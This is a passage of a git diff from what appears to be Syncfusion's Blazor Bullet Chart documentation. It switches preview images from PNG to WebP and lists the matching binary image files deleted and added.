+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJZMByKuOOgQjA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart Component](images/blazor-bullet-chart-component.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/BulletChart).
 
@@ -186,7 +186,7 @@ Add a title by using the [Title](https://help.syncfusion.com/cr/blazor/Syncfusio
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZhpXWByfNMLYFQO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Title](images/blazor-bullet-chart-title.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZhpXWByfNMLYFQO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart with Title](images/blazor-bullet-chart-title.webp)" %}
 
 ## Adding ranges
 
@@ -208,7 +208,7 @@ Add ranges by using the [BulletChartRangeCollection](https://help.syncfusion.com
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXrJXMhezDHBfdQU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding Range in Blazor Bullet Chart](images/blazor-bullet-chart-ranges.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXrJXMhezDHBfdQU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Adding Range in Blazor Bullet Chart](images/blazor-bullet-chart-ranges.webp)" %}
 
 ## Adding tooltip
 
@@ -231,6 +231,6 @@ Use the tooltip to show the measured values by setting the [Enable](https://help
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBzDWVITXPjsQbH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart displays ToolTip](images/blazor-bullet-chart-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBzDWVITXPjsQbH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Bullet Chart displays ToolTip](images/blazor-bullet-chart-tooltip.webp)" %}
 
 N> You can also explore our [Blazor Bullet Chart example](https://blazor.syncfusion.com/demos/bullet-chart/default-functionalities?theme=bootstrap5) that shows you how to render and configure the bullet chart.
diff --git a/blazor/bullet-chart/images/Blazor-server-app-creation.png b/blazor/bullet-chart/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/bullet-chart/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/Blazor-server-app-creation.webp b/blazor/bullet-chart/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/bullet-chart/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/bullet-chart/images/blazor-app-interactive-mode.png b/blazor/bullet-chart/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/bullet-chart/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-app-interactive-mode.webp b/blazor/bullet-chart/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-actual-bar-customization.png b/blazor/bullet-chart/images/blazor-bullet-chart-actual-bar-customization.png
deleted file mode 100644
index 5ae27b8b17..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-actual-bar-customization.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-actual-bar-customization.webp b/blazor/bullet-chart/images/blazor-bullet-chart-actual-bar-customization.webp
new file mode 100644
index 0000000000..8f231f03d9
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-actual-bar-customization.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-actual-bar.png b/blazor/bullet-chart/images/blazor-bullet-chart-actual-bar.png
deleted file mode 100644
index 39bad0b5df..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-actual-bar.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-actual-bar.webp b/blazor/bullet-chart/images/blazor-bullet-chart-actual-bar.webp
new file mode 100644
index 0000000000..622bc21e66
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-actual-bar.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-category-label.png b/blazor/bullet-chart/images/blazor-bullet-chart-category-label.png
deleted file mode 100644
index 4160575285..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-category-label.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-category-label.webp b/blazor/bullet-chart/images/blazor-bullet-chart-category-label.webp
new file mode 100644
index 0000000000..f1a4096556
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-category-label.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-component.png b/blazor/bullet-chart/images/blazor-bullet-chart-component.png
deleted file mode 100644
index 1644636483..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-component.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-component.webp b/blazor/bullet-chart/images/blazor-bullet-chart-component.webp
new file mode 100644
index 0000000000..43577b0210
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-component.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-custom-label-format.png b/blazor/bullet-chart/images/blazor-bullet-chart-custom-label-format.png
deleted file mode 100644
index 788278dcb0..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-custom-label-format.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-custom-label-format.webp b/blazor/bullet-chart/images/blazor-bullet-chart-custom-label-format.webp
new file mode 100644
index 0000000000..45af62a531
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-custom-label-format.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-data-binding.png b/blazor/bullet-chart/images/blazor-bullet-chart-data-binding.png
deleted file mode 100644
index 46ac6456e0..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-data-binding.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-data-binding.webp b/blazor/bullet-chart/images/blazor-bullet-chart-data-binding.webp
new file mode 100644
index 0000000000..e67cb7c6ec
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-data-binding.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-data-label.png b/blazor/bullet-chart/images/blazor-bullet-chart-data-label.png
deleted file mode 100644
index c072277b6e..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-data-label.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-data-label.webp b/blazor/bullet-chart/images/blazor-bullet-chart-data-label.webp
new file mode 100644
index 0000000000..b38e778097
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-data-label.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-dot-actual-bar.png b/blazor/bullet-chart/images/blazor-bullet-chart-dot-actual-bar.png
deleted file mode 100644
index b27fc7f739..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-dot-actual-bar.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-dot-actual-bar.webp b/blazor/bullet-chart/images/blazor-bullet-chart-dot-actual-bar.webp
new file mode 100644
index 0000000000..e9e11d9edf
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-dot-actual-bar.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-grouping.png b/blazor/bullet-chart/images/blazor-bullet-chart-grouping.png
deleted file mode 100644
index 6d136c0b12..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-grouping.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-grouping.webp b/blazor/bullet-chart/images/blazor-bullet-chart-grouping.webp
new file mode 100644
index 0000000000..a796fff3b5
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-grouping.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-label-customization.png b/blazor/bullet-chart/images/blazor-bullet-chart-label-customization.png
deleted file mode 100644
index a62420b727..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-label-customization.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-label-customization.webp b/blazor/bullet-chart/images/blazor-bullet-chart-label-customization.webp
new file mode 100644
index 0000000000..d1f38f863e
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-label-customization.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-label-format.png b/blazor/bullet-chart/images/blazor-bullet-chart-label-format.png
deleted file mode 100644
index bd84aad2c3..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-label-format.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-label-format.webp b/blazor/bullet-chart/images/blazor-bullet-chart-label-format.webp
new file mode 100644
index 0000000000..0a26999dc3
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-label-format.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-labels-position.png b/blazor/bullet-chart/images/blazor-bullet-chart-labels-position.png
deleted file mode 100644
index 8ad4733a4b..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-labels-position.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-labels-position.webp b/blazor/bullet-chart/images/blazor-bullet-chart-labels-position.webp
new file mode 100644
index 0000000000..938ec01367
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-labels-position.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-alignment.png b/blazor/bullet-chart/images/blazor-bullet-chart-legend-alignment.png
deleted file mode 100644
index 4f588374c6..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-legend-alignment.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-alignment.webp b/blazor/bullet-chart/images/blazor-bullet-chart-legend-alignment.webp
new file mode 100644
index 0000000000..6ede5b4d05
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-legend-alignment.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-color-mapping.png b/blazor/bullet-chart/images/blazor-bullet-chart-legend-color-mapping.png
deleted file mode 100644
index e1fb09cb7f..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-legend-color-mapping.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-color-mapping.webp b/blazor/bullet-chart/images/blazor-bullet-chart-legend-color-mapping.webp
new file mode 100644
index 0000000000..2f238e977e
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-legend-color-mapping.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-customization.png b/blazor/bullet-chart/images/blazor-bullet-chart-legend-customization.png
deleted file mode 100644
index 111e16c6bd..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-legend-customization.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-customization.webp b/blazor/bullet-chart/images/blazor-bullet-chart-legend-customization.webp
new file mode 100644
index 0000000000..7ea362df6b
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-legend-customization.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-on-custom-position.png b/blazor/bullet-chart/images/blazor-bullet-chart-legend-on-custom-position.png
deleted file mode 100644
index 1e44b013d8..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-legend-on-custom-position.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-on-custom-position.webp b/blazor/bullet-chart/images/blazor-bullet-chart-legend-on-custom-position.webp
new file mode 100644
index 0000000000..2e873694e4
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-legend-on-custom-position.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-on-top-position.png b/blazor/bullet-chart/images/blazor-bullet-chart-legend-on-top-position.png
deleted file mode 100644
index c2ba5a35ff..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-legend-on-top-position.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-on-top-position.webp b/blazor/bullet-chart/images/blazor-bullet-chart-legend-on-top-position.webp
new file mode 100644
index 0000000000..d3eaf70142
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-legend-on-top-position.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-paging.png b/blazor/bullet-chart/images/blazor-bullet-chart-legend-paging.png
deleted file mode 100644
index c1ba3dbbac..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-legend-paging.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-paging.webp b/blazor/bullet-chart/images/blazor-bullet-chart-legend-paging.webp
new file mode 100644
index 0000000000..906cb8ae71
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-legend-paging.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-size.png b/blazor/bullet-chart/images/blazor-bullet-chart-legend-size.png
deleted file mode 100644
index 6b4b2df75f..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-legend-size.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend-size.webp b/blazor/bullet-chart/images/blazor-bullet-chart-legend-size.webp
new file mode 100644
index 0000000000..21c011cd74
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-legend-size.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend.png b/blazor/bullet-chart/images/blazor-bullet-chart-legend.png
deleted file mode 100644
index 1a24817cc3..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-legend.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-legend.webp b/blazor/bullet-chart/images/blazor-bullet-chart-legend.webp
new file mode 100644
index 0000000000..8da2caf0f9
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-legend.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-margin.png b/blazor/bullet-chart/images/blazor-bullet-chart-margin.png
deleted file mode 100644
index 3240d7abbf..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-margin.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-margin.webp b/blazor/bullet-chart/images/blazor-bullet-chart-margin.webp
new file mode 100644
index 0000000000..2abb28d297
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-margin.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-opposed-position.png b/blazor/bullet-chart/images/blazor-bullet-chart-opposed-position.png
deleted file mode 100644
index 0c355a57d9..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-opposed-position.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-opposed-position.webp b/blazor/bullet-chart/images/blazor-bullet-chart-opposed-position.webp
new file mode 100644
index 0000000000..ed094e5c39
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-opposed-position.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-orientation.png b/blazor/bullet-chart/images/blazor-bullet-chart-orientation.png
deleted file mode 100644
index 01e48b0ce4..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-orientation.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-orientation.webp b/blazor/bullet-chart/images/blazor-bullet-chart-orientation.webp
new file mode 100644
index 0000000000..5ecc65a322
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-orientation.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-range-customization.png b/blazor/bullet-chart/images/blazor-bullet-chart-range-customization.png
deleted file mode 100644
index 24c0a153ba..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-range-customization.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-range-customization.webp b/blazor/bullet-chart/images/blazor-bullet-chart-range-customization.webp
new file mode 100644
index 0000000000..2731062653
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-range-customization.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-range.png b/blazor/bullet-chart/images/blazor-bullet-chart-range.png
deleted file mode 100644
index 6966f7b1f8..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-range.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-range.webp b/blazor/bullet-chart/images/blazor-bullet-chart-range.webp
new file mode 100644
index 0000000000..da0622215b
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-range.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-ranges.png b/blazor/bullet-chart/images/blazor-bullet-chart-ranges.png
deleted file mode 100644
index 840a46da4b..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-ranges.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-ranges.webp b/blazor/bullet-chart/images/blazor-bullet-chart-ranges.webp
new file mode 100644
index 0000000000..10213bcb4d
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-ranges.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-rectangle-target-bar.png b/blazor/bullet-chart/images/blazor-bullet-chart-rectangle-target-bar.png
deleted file mode 100644
index f748a026bd..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-rectangle-target-bar.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-rectangle-target-bar.webp b/blazor/bullet-chart/images/blazor-bullet-chart-rectangle-target-bar.webp
new file mode 100644
index 0000000000..521341e5ad
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-rectangle-target-bar.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-right-to-left-direction.png b/blazor/bullet-chart/images/blazor-bullet-chart-right-to-left-direction.png
deleted file mode 100644
index 3cc8be6f71..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-right-to-left-direction.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-right-to-left-direction.webp b/blazor/bullet-chart/images/blazor-bullet-chart-right-to-left-direction.webp
new file mode 100644
index 0000000000..4e208398aa
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-right-to-left-direction.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-subtitle.png b/blazor/bullet-chart/images/blazor-bullet-chart-subtitle.png
deleted file mode 100644
index 6fca33915a..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-subtitle.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-subtitle.webp b/blazor/bullet-chart/images/blazor-bullet-chart-subtitle.webp
new file mode 100644
index 0000000000..d35c1ecd94
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-subtitle.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-target-bar-customization.png b/blazor/bullet-chart/images/blazor-bullet-chart-target-bar-customization.png
deleted file mode 100644
index 58f6ecd5cd..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-target-bar-customization.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-target-bar-customization.webp b/blazor/bullet-chart/images/blazor-bullet-chart-target-bar-customization.webp
new file mode 100644
index 0000000000..ea99146439
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-target-bar-customization.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-target-bar.png b/blazor/bullet-chart/images/blazor-bullet-chart-target-bar.png
deleted file mode 100644
index e965628294..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-target-bar.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-target-bar.webp b/blazor/bullet-chart/images/blazor-bullet-chart-target-bar.webp
new file mode 100644
index 0000000000..90fa789267
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-target-bar.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-theme.png b/blazor/bullet-chart/images/blazor-bullet-chart-theme.png
deleted file mode 100644
index 27747b2a99..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-theme.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-theme.webp b/blazor/bullet-chart/images/blazor-bullet-chart-theme.webp
new file mode 100644
index 0000000000..de3b371503
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-theme.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-tick-line-customization.png b/blazor/bullet-chart/images/blazor-bullet-chart-tick-line-customization.png
deleted file mode 100644
index 4d93d92a65..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-tick-line-customization.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-tick-line-customization.webp b/blazor/bullet-chart/images/blazor-bullet-chart-tick-line-customization.webp
new file mode 100644
index 0000000000..c30fa91dd9
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-tick-line-customization.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-tick-position.png b/blazor/bullet-chart/images/blazor-bullet-chart-tick-position.png
deleted file mode 100644
index a01049ba80..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-tick-position.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-tick-position.webp b/blazor/bullet-chart/images/blazor-bullet-chart-tick-position.webp
new file mode 100644
index 0000000000..dbdb0d82d1
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-tick-position.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-title-customization.png b/blazor/bullet-chart/images/blazor-bullet-chart-title-customization.png
deleted file mode 100644
index 1a93f2549b..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-title-customization.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-title-customization.webp b/blazor/bullet-chart/images/blazor-bullet-chart-title-customization.webp
new file mode 100644
index 0000000000..4970f87ea7
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-title-customization.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-title-positions.png b/blazor/bullet-chart/images/blazor-bullet-chart-title-positions.png
deleted file mode 100644
index d7842ea8cd..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-title-positions.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-title-positions.webp b/blazor/bullet-chart/images/blazor-bullet-chart-title-positions.webp
new file mode 100644
index 0000000000..1adb7b9352
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-title-positions.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-title.png b/blazor/bullet-chart/images/blazor-bullet-chart-title.png
deleted file mode 100644
index 9f045086ce..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-title.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-title.webp b/blazor/bullet-chart/images/blazor-bullet-chart-title.webp
new file mode 100644
index 0000000000..72ce62bf82
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-title.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-tooltip-customization.png b/blazor/bullet-chart/images/blazor-bullet-chart-tooltip-customization.png
deleted file mode 100644
index 2c5a7b1b34..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-tooltip-customization.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-tooltip-customization.webp b/blazor/bullet-chart/images/blazor-bullet-chart-tooltip-customization.webp
new file mode 100644
index 0000000000..8eb98d7e0e
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-tooltip-customization.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-tooltip-template.png b/blazor/bullet-chart/images/blazor-bullet-chart-tooltip-template.png
deleted file mode 100644
index 069c2f2af8..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-tooltip-template.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-tooltip-template.webp b/blazor/bullet-chart/images/blazor-bullet-chart-tooltip-template.webp
new file mode 100644
index 0000000000..b9985b3844
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-tooltip-template.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-tooltip.png b/blazor/bullet-chart/images/blazor-bullet-chart-tooltip.png
deleted file mode 100644
index d2667e4084..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-tooltip.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-tooltip.webp b/blazor/bullet-chart/images/blazor-bullet-chart-tooltip.webp
new file mode 100644
index 0000000000..b8379467d8
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-tooltip.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-with-border.png b/blazor/bullet-chart/images/blazor-bullet-chart-with-border.png
deleted file mode 100644
index 07baed1ea2..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-with-border.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-with-border.webp b/blazor/bullet-chart/images/blazor-bullet-chart-with-border.webp
new file mode 100644
index 0000000000..8c0dc4b536
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-with-border.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-with-title.png b/blazor/bullet-chart/images/blazor-bullet-chart-with-title.png
deleted file mode 100644
index 826b6b76a2..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bullet-chart-with-title.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bullet-chart-with-title.webp b/blazor/bullet-chart/images/blazor-bullet-chart-with-title.webp
new file mode 100644
index 0000000000..85dbdfedf7
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bullet-chart-with-title.webp differ
diff --git a/blazor/bullet-chart/images/blazor-bulletchart-tooltip.png b/blazor/bullet-chart/images/blazor-bulletchart-tooltip.png
deleted file mode 100644
index 18f57235d7..0000000000
Binary files a/blazor/bullet-chart/images/blazor-bulletchart-tooltip.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-bulletchart-tooltip.webp b/blazor/bullet-chart/images/blazor-bulletchart-tooltip.webp
new file mode 100644
index 0000000000..a892777d67
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-bulletchart-tooltip.webp differ
diff --git a/blazor/bullet-chart/images/blazor-create-web-app.png b/blazor/bullet-chart/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/bullet-chart/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-create-web-app.webp b/blazor/bullet-chart/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-create-web-app.webp differ
diff --git a/blazor/bullet-chart/images/blazor-wasm-app-template.png b/blazor/bullet-chart/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/bullet-chart/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/blazor-wasm-app-template.webp b/blazor/bullet-chart/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/bullet-chart/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/bullet-chart/images/target-color.png b/blazor/bullet-chart/images/target-color.png
deleted file mode 100644
index ef6c189cb1..0000000000
Binary files a/blazor/bullet-chart/images/target-color.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/target-color.webp b/blazor/bullet-chart/images/target-color.webp
new file mode 100644
index 0000000000..645869c0a0
Binary files /dev/null and b/blazor/bullet-chart/images/target-color.webp differ
diff --git a/blazor/bullet-chart/images/target-width.png b/blazor/bullet-chart/images/target-width.png
deleted file mode 100644
index 6a0890ccc7..0000000000
Binary files a/blazor/bullet-chart/images/target-width.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/target-width.webp b/blazor/bullet-chart/images/target-width.webp
new file mode 100644
index 0000000000..0b365dfa06
Binary files /dev/null and b/blazor/bullet-chart/images/target-width.webp differ
diff --git a/blazor/bullet-chart/images/value-fill.png b/blazor/bullet-chart/images/value-fill.png
deleted file mode 100644
index 77f80a8ea5..0000000000
Binary files a/blazor/bullet-chart/images/value-fill.png and /dev/null differ
diff --git a/blazor/bullet-chart/images/value-fill.webp b/blazor/bullet-chart/images/value-fill.webp
new file mode 100644
index 0000000000..eadb9812e2
